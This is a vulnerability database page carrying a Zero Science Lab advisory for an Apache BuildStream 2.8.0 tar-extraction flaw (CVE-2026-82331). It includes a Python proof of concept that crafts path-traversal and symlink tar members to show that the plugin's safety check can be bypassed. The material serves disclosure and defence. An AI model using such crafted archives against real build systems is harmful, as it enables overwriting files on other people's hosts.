Lucene search
+L

Apache BuildStream 2.8.0 (symlink) Arbitrary File Write

🗓️ 24 Sep 2026 00:00:00Reported by Gjoko KrsticType 
zeroscience
 zeroscience
🔗 www.zeroscience.mk👁 13 Views

Apache BuildStream 2.8.0 tar source plugin allows arbitrary file write via symlinks.

Related
Code
ReporterTitlePublishedViews
Family
circl
Circl
CVE-2026-82331
23 Sep 202623:00
–circl
cve
CVE
CVE-2026-82331
23 Sep 202606:58
–cve
cvelist
Cvelist
CVE-2026-82331 Apache BuildStream: tar source extraction escape
23 Sep 202606:58
–cvelist
debiancve
Debian CVE
CVE-2026-82331
23 Sep 202606:58
–debiancve
euvd
EUVD
EUVD-2026-85113
23 Sep 202606:58
–euvd
nvd
NVD
CVE-2026-82331
23 Sep 202607:16
–nvd
osv
OSV
DEBIAN-CVE-2026-82331
23 Sep 202607:16
–osv
osv
OSV
UBUNTU-CVE-2026-82331
23 Sep 202607:16
–osv
rapid7
Rapid7 Vulnerability Database (full)
CVE-2026-82331: Improper Link Resolution Before File Access
23 Sep 202600:00
–rapid7
ubuntucve
UbuntuCve
CVE-2026-82331
23 Sep 202607:16
–ubuntucve
Rows per page
<html><body><p>#!/usr/bin/env python
#
#
# Apache BuildStream 2.8.0 (symlink) Arbitrary File Write
#
#
# Vendor: The Apache Software Foundation
# Product web page: https://buildstream.apache.org
# Affected version: &lt;=2.8.0
#
# Summary: BuildStream is a powerful software integration tool
# that allows developers to automate the integration of software
# components including operating systems, and to streamline the
# software development and production process.
#
# Desc: Apache BuildStream's tar source plugin extracts archives
# without safely resolving symbolic links (link following). A
# malicious source tarball can include a symlink entry that points
# outside the staging directory and then a file entry that writes
# through it, so a crafted upstream source can create or overwrite
# files on the host with the privileges of the user running BuildStream,
# as part of source fetching. On Python &lt; 3.12 the plugin relied
# on an incomplete internal check (_assert_safe, which skipped
# symlink members and used a buggy basename/prefix comparison) as
# the only guard. The fix replaces that check with a custom extraction
# filter built on the Python tarfile data and tar filters, applied
# on all Python versions (using a local copy of tarfile.py on Python
# &lt; 3.12).
#
# Tested on: Linux, Python 3.10
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
# Macedonian Information Security Research &amp; Development Laboratory
# Zero Science Lab - https://www.zeroscience.mk - @zeroscience
#
#
# Advisory ID: ZSL-2026-6005
# Advisory URL: https://www.zeroscience.mk/#/advisories/ZSL-2026-6005
#
#
# 13.08.2026
#

import io######
import os######
import sys#####
import tarfile#
import tempfile

class Kukla:
    def __str__(self): return "tar-source"

def _assert_safe(self, member, target_dir):
    final_path = os.path.abspath(os.path.join(target_dir, member.path))
    if not final_path.startswith(target_dir):
        raise Exception("attempts to extract outside staging area: {} -&gt; {}".format(member.path, final_path))
    if member.islnk():
        linked_path = os.path.abspath(os.path.join(target_dir, member.linkname))
        if not linked_path.startswith(target_dir):
            raise Exception("hardlink outside staging area")

base = tempfile.mkdtemp(prefix="bst_poc_")
staging = os.path.join(base, "staging")
os.makedirs(staging)
sibling_secret = os.path.join(base, "staging_evil")
os.makedirs(sibling_secret)
print("target_dir (staging):", staging)
print("sibling out-of-bounds:", sibling_secret)
print("py&lt;3.12 (no builtin filter path):", sys.version_info &lt; (3, 12))
print()

ti = tarfile.TarInfo(name="../staging_evil/pwned")
data = b"OWNED-VIA-PREFIX-BUG"
ti.size = len(data)
passed = True
try:
    _assert_safe(Kukla(), ti, staging)
except Exception as e:
    passed = False
    print("(A) _assert_safe REJECTED:", e)
if passed:
    final = os.path.abspath(os.path.join(staging, ti.path))
    print(f"(A) _assert_safe ALLOWED  member '../staging_evil/pwned'  -&gt; {final}")
    print(f"    escapes staging? {not final.startswith(staging + os.sep)}  (writes into sibling dir)")

print()
sym = tarfile.TarInfo(name="evil")
sym.type = tarfile.SYMTYPE
sym.linkname = os.path.abspath(os.path.join(base, "OUTSIDE"))
f = tarfile.TarInfo(name="evil/pwned")
f.size = 5
for m in (sym, f):
    try:
        _assert_safe(Kukla(), m, staging)
        kind = "symlink-&gt;" + (m.linkname if m.issym() else "")
        print(f"(B) _assert_safe ALLOWED  {m.name!r} ({'symlink' if m.issym() else 'file'}{' -&gt; '+m.linkname if m.issym() else ''})")
    except Exception as e:
        print(f"(B) _assert_safe REJECTED {m.name!r}: {e}")
print("    =&gt; on POSIX, extractall writes 'evil/pwned' THROUGH the symlink to",
      os.path.abspath(os.path.join(base, "OUTSIDE", "pwned")))
</p></body></html>

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

24 Sep 2026 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 3.19.8
EPSS0.00424
SSVC
13